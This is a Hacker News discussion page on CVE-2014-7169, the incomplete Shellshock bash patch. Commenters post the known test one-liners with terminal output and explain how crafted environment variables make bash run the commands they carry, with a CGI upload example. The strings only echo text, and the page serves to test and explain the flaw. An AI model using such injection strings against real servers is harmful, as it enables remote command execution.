Live data from Hacker News

CVE-2014-7169: Bash Fix Incomplete, Still Exploitable

seclists.org

1–10 of 226 posts

Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable

#3
Appears to work, even with latest patches, by using sh (from the link):

  $ env X='() { (a)=>\' sh -c "echo date"; cat echo
  date
  Wed Sep 24 15:00:34 PDT 2014

  -- previous bug fix for bash (before/after patch) --

  $ x='() { :;}; echo vulnerable' bash -c 'echo test'
  vulnerable
  test

  $ x='() { :;}; echo vulnerable' bash -c 'echo test'
  bash: warning: x: ignoring function definition attempt
  bash: error importing function definition for `x'
  test
Tested on Ubuntu 14.04.1 LTS & Debian GNU/Linux 7.0 (wheezy) with latest patches.

ps. lots of chatter about the original issue @ https://news.ycombinator.com/item?id=8361574

Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable

#4

Appears to work, even with latest patches, by using sh (from the link): $ env X='() { (a)=>\' sh -c "echo date"; cat echo date Wed Sep 24 15:00:34 PDT 2014 -- previous bug fix for bash (before/after patch) -- $ x='() { :;}; echo vulnerable' bash -c 'echo test' vulnerable test $ x='() { :;}; echo vulnerable' bash -c 'echo test' bash: warning: x: ignoring function definition attempt bash: error importing function defin…

I don't think either you or the author are correct.

    hobbes@media:~$ env X='() { (a)=>\' sh -c "echo date"; cat echo
    date
    cat: echo: No such file or directory
    hobbes@media:~$ uname -a
    Linux media 3.13-1-686-pae #1 SMP Debian 3.13.5-1
    hobbes@media:~$ echo $BASH_VERSION
    4.3.25(1)-release
It looks to me like we're setting X in the environment, calling `sh -c "echo date"`, passing that X in to it, nothing happens, then we're cat'ing a file named echo, which does not get created in the first place, at least not on my machine.

I played with the original test a bit. You can break it into two lines to see what is happening. For example:

    1. hobbes@media:~$ export badvar='() { :;}; echo vulnerable'
    2. hobbes@media:~$ bash -c "echo I am an innocent sub process in '$BASH_VERSION'"
    3. bash: warning: badvar: ignoring function definition attempt
    4. bash: error importing function definition for `badvar'
    5. I am an innocent sub process in 4.3.25(1)-release
1. Create a specially crafted environment variable. Ok, it's done. But, nothing has happened!

2. Create an innocent sub process. Bash in this case. During initialization...

3. ...bash spots the specially formed variable (named badvar), prints a warning,

4. ...and apparently doesn't define the function at all?

5. But other than that, the child bash runs as expected.

    1. hobbes@metal:~$ export badvar='() { :;}; echo vulnerable'
    2. hobbes@metal:~$ bash -c "echo I am an innocent sub process in '$BASH_VERSION'"
    3. vulnerable
    4. I am an innocent sub process in 4.3.22(1)-release
1. Create a specially crafted environment variable. Ok, it's done. But, nothing has happened!

2. Create an innocent sub process. Bash in this case. During initialization...

3. ...bash accidentally EXECUTES a snippet that was inside the variable named 'badvar'?!

4. But other than that, the child bash runs as expected. Wow, I should update that machine. :)

Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable

#7
With the patched bash, if you run

    env X='() { (a)=>\' sh -c "echo date"
This is equivalent to running

    date >echo
That is, you can put something in the environment which causes it to drop the first token, run the result as a command, and redirect the result to the dropped first token.

An example of a context where this would be exploitable, is a CGI webapp which accepts an uploaded zip file, stores it in a FAT filesystem, and and runs system("unzip /path/to/file"). Then putting a corrupt string in a header would cause the file to be executed, rather than unzipped.

Post reply on HN